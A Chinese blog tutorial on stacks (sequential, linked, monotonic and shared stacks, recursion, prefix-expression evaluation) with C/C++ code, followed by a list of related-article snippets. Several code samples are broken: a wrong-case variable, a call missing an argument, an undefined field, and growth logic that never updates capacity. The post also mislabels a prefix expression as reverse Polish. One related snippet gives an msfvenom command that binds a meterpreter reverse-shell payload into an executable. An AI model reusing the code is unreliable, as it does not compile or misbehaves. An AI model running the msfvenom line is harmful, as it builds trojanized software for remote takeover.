《数据结构》--栈【概念应用、图文并茂】

news2024/11/29 1:52:47

 本节讲完栈下次再讲一下队列,最后补充一个串,我们的线性结构基本就完事了。下图中黄色框框圈中的是我们今日份内容(分为两篇博客):

知识体系图

栈(Stack-LIFO)结构

栈的基础概念

栈(Stack)是一个后进先出(Last-In-First-Out)的一个特殊数据结构,只有一端可以操作,三面环墙。按照存储方式可以分为顺序存储的栈和链式存储的栈(即顺序栈和链栈),另外还有一些特殊的栈需要我们了解:单调栈、共享栈。

不管什么栈,它的基本API接口(基本操作)都是:入栈(Push),出栈(Pop),查看栈顶元素(Top/Peek),判断栈是否为空(isEmpty)。

栈顶(top):处于可以插入或删除元素的一端,栈顶指针指向非空元素的下一个位置

栈底(base):处于不能插入或删除元素的另一端,栈底指针固定指向。

空栈(empty):栈内不包含任意元素,栈顶指针与栈底指针指向同一位置。

顺序栈

采用顺序结构存储的栈称为顺序栈,它的底层是数组,使用的是一段地址连续的空间。另外找一个尾指针充当栈顶指针,指向栈顶元素的位置的下一个地址。判断栈为空的条件就是栈顶指针指向栈底。

1.栈的顺序存储

站的顺序存储结构可以定义为:一个栈底指针,一个栈顶指针

#define INIT_MAX_SIZE 20 //初始化栈时给的最大容量
typedef int DataType;//DataType的类型不确定,根据习惯初始假定为int
typedef struct{
    DataType* base;
    DataType* top;
}SqStack;

 2.栈的基本操作

初始化

初始化时,使用预先设置好的初值来开辟大小,并且初始一定是空栈,所以让栈顶指针指向栈底即可。

void initStack(SqStack* s)
{
    s->base = (DataType*)malloc(sizeof(DataType)*INIT_MAX_SIZE);
    s->top = s->base;
}

判空

如果栈顶指针与栈底指针指向同一块空间,那么栈就是空的,直接返回。这里传不传指针都可以,不需要进行修改的操作,只进行判断,所以利用值传递也能实现目的

#include <stdbool.h>
bool isEmpty(SqStack s){
    return s.base == s.top;
}
bool isEmpty(SqStack* s){
    return s->base == s->top;
}

进栈 

进栈之前,我们先判断栈是否为满,如果满栈,我们不能随便加入,需要扩容,我们选择二倍扩容的方式,如果扩容失败,结束程序,一旦我们扩容成功,我们原来的栈顶指针也会失效,使用栈底指针加上原来的满栈数,跨越总步长回到栈顶的相对位置。然后将栈顶设置为元素e,并自动跨越一个步长(++)。

/*插入元素e为新的栈顶元素*/
void Push(SqStack *s, DataType e){
    //满栈
    if(s->top == s->base + INIT_MAX_SIZE){
        int size = INIT_MAX_SIZE*2;
        s->base = (DataType*)realloc(s->base,sizeof(DataType)*size);
        assert(s->base);
        s->top = s->base + size/2;
    }
    *(s->top) = e;    //将新插入元素赋值给栈顶空间
    s->top++; //更改栈顶指针
    //可以合并为*(s->top++)=e;
}

出栈

出栈就是要后面的元素无法访问,那么只需要将栈顶指针缩减一个步长(--)即可,但在此之前,我们需要判断是不是空栈,如果是空栈,我们就没必要去进行出栈的操作了。

/*若栈不空,则删除S的栈顶元素*/
void Pop(SqStack *s){
    if(s->top == s->base){
        return;
    }
    S->top--;   //栈顶指针减1
}

 获取栈顶元素

获取栈顶元素,我们需要获取的栈顶指针上一个位置内存储的内容,所以我们进行完判空操作后,我们需要对s->top-1进行解引用(即取*)的操作。

/*读栈顶元素*/
DataType Top(SqStack s){
    if(s->top == s->base){   //栈空
        return -1;
    }
    return *(s->top-1);   //返回栈顶元素
}

销毁栈 

void destory(SqStack* s){
    if(s->base){
        free(s->base);
        s->top=s->base=NULL;
    }
}

3.单调栈专题

从名字上我们就可以看出来,单调栈中存放的数据应该是有序的,所以单调栈本身也应该分为单调递增栈和单调递减栈。单调的方向是从栈底到栈顶。

在进行单调栈的讲解时,我们会使用到上述的一些基本操作。我们来看一下单调栈的入栈过程:

typedef int DataType;//此处选取int作为示例

for (遍历这个数组)
{
	if (栈空 || 栈顶元素大于等于当前比较元素)
	{
		入栈;
	}
	else
	{
		while (栈不为空 && 栈顶元素小于当前元素)
		{
			栈顶元素出栈;
			更新结果;
		}
		当前数据入栈;
	}
}

真题演练

 柱状图中的最大矩形

思路:当前的数字可以向两边拓展,遇到比自己大的就接着拓展,小的就停止,然后用自己的高度乘以拓展的宽度,每次都更新最大面积,时间复杂度同样为O(N^2),所以我们接着借助单调栈

这里我们通过这道例题来使用一下单调递减栈

1.设置一个单调递减的栈(栈内0~n为单调递增)
2.当遇到小于栈顶元素的值,我们开始更新数据,因为有可能最大面积就会出现在栈中的序列里
3.牢记栈中数据永远是有序的,这个问题比较复杂,所以读者不妨对照着代码来理解问题

int largestRectangleArea(vector<int>& heights) {
	heights.push_back(-1);/同理,我们希望栈中所有数据出栈,所以给数组最后添加一个负数
	SqStack st; initStack(&st);
	int ret = 0, top;
	for (int i = 0; i < heights.size(); i++)
	{
		if (isEmpty(st) || heights[Top(st)] <= heights[i])
		{
			Push(&st,i);
		}
		else
		{
			while (!isEmpty(st) && heights[Top(st)] > heights[i])
			{
				top = Top(st);
				Pop(&st);
				//i-top指的是当前矩形的宽度,heights[top]就是当前的高度
				//再次强调栈中现在为单调递增
				int tmp = (i - top)*heights[top];
				if (tmp > ret)
					ret = tmp;
			}
			Push(top);
			heights[top] = heights[i];
		}
	}
	return ret;
}

 4.共享栈专题

 利用栈底位置相对不变的特征,可让两个顺序栈共享一个一维数组空间,将两个栈的栈底分别设置在共享空间的两端,两个栈顶向共享空间的中间延伸,如下图所示:

两个栈共享同一片存储空间,这片存储空间不单独属于任何一个栈,某个栈需要的多一点,它就可能得到更多的存储空间;两个栈的栈底在这片存储空间的两端,当元素入栈时,两个栈的栈顶指针相向而行。此时我们采取另外一种实现栈的方法,不使用真正的指针,使用下标索引模拟两个栈顶指针。定义方法如下:

 #define SharedStackMax 100
 typedef char SharedStackType;
 typedef struct{
     SharedStackType data[SharedStackMax];
     size_t top1;
     size_t top2;
 }SharedStack;

共享栈的基本操作方法: 

 void SharedStackInit(SharedStack*stack)
 {
     if(stack==NULL){
         return;
     }
     stack->top1=0;
     stack->top2=SharedStackMax;
 }
 void SharedStackPush1(SharedStack*stack,SharedStackType value)
 {
     if(stack->top1==stack->top2||stack==NULL){
         return;
     }
     stack->data[stack->top1++]=value;
     return;
 }
 void SharedStackPush2(SharedStack*stack,SharedStackType value)
 {
     if(stack->top2==stack->top1||stack==NULL){
         return;
     }                                                                       
     stack->data[--stack->top2]=value;
 }
 int  SharedStackTop1(SharedStack*stack,SharedStackType*value)
 {
     if(stack==NULL||value==NULL){
         return 0;
     }
     if(stack->top1==0){
         return 0;
     }
     *value=stack->data[top1-1];
     return 1;
 
 }
 int SharedStackTop2(SharedStack*stack,SharedStackType*value)
 {
     if(stack==NULL||value==NULL){
         return 0;
     }
     if(stack->top2==SharedStackMax){
         return 0;
     }
     *value=stack->data[stack->top2];
     return 1;
}
 void SharedStackPop1(SharedStack*stack)
 {
     if(stack==NULL || stack->top1==0){
         return;
     }
     stack->top1--;
 }
 void SharedStackPop2(SharedStack*stack)
 {
     if(stack->top2==SharedStackMax || stack==NULL){
         return;
     }
     stack->top2++;
 }     

链栈 

1.栈的链式存储

采用链式存储的栈称为链栈,链栈的优点是便于多个栈共享存储空间和提高其效率,且不存在栈满上溢的情况,我们就省去了不断扩容的麻烦。通常采用不带头结点的单链表实现,而且为了方便,使用头插法头删法更简单,所以我们的入栈和出栈就是单链表的头插和头删的操作。Lhead指向栈顶元素,链栈的结构图如下所示:

对于链栈来说,空栈的概念即是Lhead指向NULL的时候。 

/*构造节点*/
typedef struct StackNode{
    ElemType data;
    struct StackNode *next;
}StackNode, *LinkStackPrt;
//将StackNode* 重命名为LinkStackPrt的好处是避免下面操作出现二级指针的形式。(实质还是二级指针)

/*构造链栈*/
typedef struct LinkStack{
    LinkStackPrt top;
    int count;
}LinkStack;

2.链栈的基本操作

链栈的进栈

对于链栈的进栈push操作,我们会创建一个栈节点,然后进行链表的头插操作。

void Push(LinkStack *S, ElemType e){
    LinkStackPrt p = (LinkStackPrt)malloc(sizeof(StackNode));
    p->data = e;
    p->next = S->top;    //把当前的栈顶元素赋值给新节点的直接后继
    S->top = p; //将新的结点S赋值给栈顶指针
    S->count++;
}

链栈的出栈

无需多说,头删即可

Element Pop(LinkStack *S){
    if(StackEmpty(*S)){
        return -1;
    }
    Element e = S->top->data;//临时存储栈顶元素

    LinkStackPtr p;
    p = S->top; //将栈顶结点赋值给p
    S->top = S->top->next;  //使得栈顶指针下移一位,指向后一结点
    free(p);    //释放结点p
    S->count--;
    return e;
}

栈的算法应用

递归专题

我们将递归时就提到过,递归是函数的递进调用与返回,而函数的调用与销毁又是以栈的形式进行的。所以能用栈解决的问题一定可以用递归解决。而能用递归的方式解决的问题,栈不一定能解决,但一定依托于栈的形式结构。因为对于栈结构本身来讲是作为一个容器来用的,递归才是存储一系列操作这种非数据类型的特殊栈结构。

基础算法--递归算法【难点、重点】-CSDN博客

调用堆栈:每次递归调用时,栈上会创建一个新的堆栈帧,用于存储该调用的上下文。

空间复杂度:递归的深度可能导致栈溢出,尤其在递归深度较大而没有适当的基本情况时。

迭代替代:有些递归算法可以用显式栈或循环来实现,从而避免递归带来的栈溢出问题。

四则运算表达式专题

四则运算在这里的应用其实包括后缀表达式和前缀表达式,以及我们平常熟悉的中缀表达式。

缀所处的位置不同代表的含义是四则运算符所处的位置不同。例如:

a+b*(c/d+2):中缀表达式

* + a b c:前缀表达式( ==(a+b)*c )

a b c d - * + e f / -:后缀表达式( ==a+b*(c-d)-e/f )

四则运算表达式的专题我们以一道例题作为训练:逆波兰表达式(前缀表达式)。

逆波兰表达式是一种把运算符前置的算术表达式,例如普通的表达式2 + 3的逆波兰表示法为+ 2 3。逆波兰表达式的优点是运算符之间不必有优先级关系,也不必用括号改变运算次序,例如(2 + 3) * 4的逆波兰表示法为* + 2 3 4。本题求解逆波兰表达式的值,其中运算符包括+ - * /四个。

对于原逆波兰表达式:- + * - c d b a  / e f

当我们遇到符号时,将其入栈,等到下面两个是数字时再出栈,如果遇到数字,直接让其入栈,然后出栈。我们对下面的图进行详细的步骤分析:

 

文字配合图片食用效果更甚哦:

下面给出代码: 

#include <bits/stdc++.h>
using namespace std;

/*逆波兰表达式*/
string st = "+-*/";
double calc() {
	string str; cin >> str;
	switch (str[0]) {
		case '+':return calc() + calc();
		case '-':return calc() - calc();
		case '*':return calc() * calc();
		case '/':return calc() / calc();
		default:return stod(str);
	}
}
signed main() {
	printf("%f\n", calc());
	return 0;
}

感谢大家观看!多多支持哦!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2192110.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Linux的那些事】shell命名及Linux权限的理解

目录 一、shell命令以及运行原理 二、Linux权限的概念 三、Linux权限管理 3.1.文件访问者的分类&#xff08;人&#xff09; 3.2.文件类型和访问权限&#xff08;事物属性&#xff09; 3.3.文件权限值的表示方法 3.4.文件访问权限的相关设置方法 a)chmod b)chown c)…

MSF捆绑文件

msf捆绑文件 msf快速打开不启动banner msfconsole -q msf捆绑文件 msfvenom -p windows/meterpreter/reverse_tcp LHOST127.0.0.1 LPORT8888 -f exe -x 1.exe -o msf.exe

在线教育的未来:SpringBoot技术实现

1系统概述 1.1 研究背景 随着计算机技术的发展以及计算机网络的逐渐普及&#xff0c;互联网成为人们查找信息的重要场所&#xff0c;二十一世纪是信息的时代&#xff0c;所以信息的管理显得特别重要。因此&#xff0c;使用计算机来管理微服务在线教育系统的相关信息成为必然。开…

二进制的神奇操作——拆位法和贡献思想

拆位的引入 我们来思考这么一个问题&#xff0c;如果给你一个数组&#xff0c;让你去求一个数组里面所有连续子串的异或和的和&#xff0c;问你该怎么求&#xff1f; 我们该如何去处理&#xff0c;首先肯定是会想到暴力的思路&#xff0c;第一层循环遍历左端点&#xff0c;第…

算法闭关修炼百题计划(三)

减轻复习压力&#xff0c;一篇只有十题左右 1.反转链表II2.LRU缓存3.合并区间4.快速排序5.数字中的第k个最大元素6.归并排序7.每种字符至少取k个8.螺旋矩阵II9.旋转图像10.删除数组中重复的元素II 1.反转链表II 给你单链表的头指针 head 和两个整数 left 和 right &#xff0c…

洗车行软件系统有哪些 佳易王洗车店会员管理系统操作教程#洗车店会员软件试用版下载

一、前言 【试用版软件下载可点击本文章最下方官网卡片】 洗车行软件系统有哪些 佳易王洗车店会员管理系统操作教程#洗车店会员软件试用版下载 洗车管理软件应用是洗车业务的得力助手&#xff0c;实现会员管理及数据统计一体化&#xff0c;助力店铺高效、有序运营。 洗车项…

年薪96w!这才是运营人未来5年最好的就业方向!

运营人&#xff0c;终于被逼疯了&#xff01; 一个人一个部门&#xff01;文案、策划、拍摄、剪辑、运营、销售什么都做。企业利润为王&#xff0c;阅读量、粉丝量要是不能转化为业绩&#xff0c;注定拿不到高薪…… **活干了一大堆&#xff0c;一看工资8000块&#xff0c;**…

【黑马点评】 使用RabbitMQ实现消息队列——2.使用RabbitMQ监听秒杀下单

2 使用RabbitMQ实现消息队列 2.1 修改\hm-dianping\pom.xmlpom.xml文件 添加RabbitMQ的环境 <!-- RabbitMQ--> <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-amqp</artifactId> </depe…

从零开始,她如何为客户创建语义知识图谱?

在这篇文章中&#xff0c;Capgemini 的知识图谱负责人 Veronika Heimsbakk 分享了她为客户创建语义知识模型的方法。阅读本指南&#xff0c;了解她如何与客户合作&#xff0c;从头开始构建语义知识模型&#xff0c;并发现可以应用于您自己的语义建模项目的实践。 如何为客户构…

微积分-反函数6.5(指数增长和衰减)

在许多自然现象中&#xff0c;数量的增长或衰减与其大小成正比。例如&#xff0c;如果 y f ( t ) y f(t) yf(t) 表示在时间 t t t 时某种动物或细菌种群的个体数量&#xff0c;那么似乎可以合理地假设增长速率 f ’ ( t ) f’(t) f’(t) 与种群 f ( t ) f(t) f(t) 成正比…

在实际芯片里,电阻电容电感是怎么制作的

一、电阻 以前的半导体工艺中&#xff0c;使用图形化和掺杂后的硅制作电阻&#xff0c;电阻值的高低取决于长度、线宽、结深和掺杂浓度。现在一般都使用多晶硅制作IC芯片上的电阻&#xff0c;多晶硅的线宽高度、宽度和掺杂浓度决定了电阻值大小。 为什么用多晶硅做电阻呢&am…

【IO】多路转接Select

一、初识 select 系统提供 select 函数来实现多路复用输入/输出模型. select 系统调用是用来让我们的程序监视多个文件描述符的状态变化的;程序会停在 select 这里等待&#xff0c;直到被监视的文件描述符有一个或多个发生了状态改变; select 函数原型 C #include <sys/…

u盘拷贝文件管控如何实现?4个方法一举搞定,一文详解!100%纯干货,赶快码住!

数字化办公日益普及&#xff0c;U盘作为便携的数据存储设备&#xff0c;在文件传输和备份中扮演着重要角色。 然而&#xff0c;U盘的使用也带来了数据泄露的风险&#xff0c;如何有效管控U盘拷贝文件呢&#xff1f;u盘拷贝文件管控如何实现&#xff1f; 本文&#xff0c;将详细…

winforms基本操作-将datagridview内容保存为excel文件

title: winforms基本操作-将datagridview内容保存为excel文件 tags: [winforms, windows, datagridview] categories: [客户端, windows, winforms] 这里记录一下将winforms展示的datagridview&#xff0c;导出或保存为excel文件。 这里说一下环境、版本信息&#xff1a; win系…

在线教育系统开发:SpringBoot框架的实战应用

4系统概要设计 4.1概述 本系统采用B/S结构(Browser/Server,浏览器/服务器结构)和基于Web服务两种模式&#xff0c;是一个适用于Internet环境下的模型结构。只要用户能连上Internet,便可以在任何时间、任何地点使用。系统工作原理图如图4-1所示&#xff1a; 图4-1系统工作原理…

什么软件能指定usb端口禁用?五款电脑USB端口禁用软件!(热门分享)

什么软件能指定usb端口禁用&#xff1f; USB端口&#xff0c;作为电脑与外部设备连接的重要接口&#xff0c;其安全性日益受到企业的重视。 为了有效防止数据泄露和未经授权的设备接入&#xff0c;指定USB端口禁用成为了许多企业的迫切需求。 本文&#xff0c;将介绍五款热门…

京东云主机怎么用?使用京东云服务器建网站(图文教程)

京东云主机怎么用&#xff1f;非常简单&#xff0c;本文京东云服务器网jdyfwq.com使用以使用京东云服务器搭建WordPress博客网站为例&#xff0c;来详细说下京东云主机的使用方法。使用京东云服务器快速搭建WordPress网站教程&#xff0c;3分钟基于应用镜像一键搞定&#xff0c…

程序传入单片机的过程,以Avrdude为例分析

在市场上有各式各样的单片机&#xff0c;例如Arduino&#xff0c;51单片机&#xff0c;STM等。通常&#xff0c;我们都用其对应的IDE软件进行单片机的编程。这些软件既负责将程序代码转写成二进制代码&#xff0c;即机器语言&#xff0c;也负责将该二进制代码导入单片机。与此同…

YOLO11改进|卷积篇|引入空间通道重组卷积ScConv

目录 一、【SCConv】卷积1.1【SCConv】卷积介绍1.2【SCConv】核心代码 二、添加【SCConv】卷积2.1STEP12.2STEP22.3STEP32.4STEP4 三、yaml文件与运行3.1yaml文件3.2运行成功截图 一、【SCConv】卷积 1.1【SCConv】卷积介绍 SCConv 模块提供了一种新的视角来看待CNNs的特征提取…

无人机企业必备运营合格证及甲级服务能力等级证书详解

无人机企业在运营过程中&#xff0c;需要取得一系列资质证书以确保其合法、安全、高效地开展业务。其中&#xff0c;运营合格证和甲级服务能力等级证书是两个重要的资质认证。以下是这两个证书的详细解析&#xff1a; 无人机企业运营合格证 无人机企业运营合格证是由国家相关…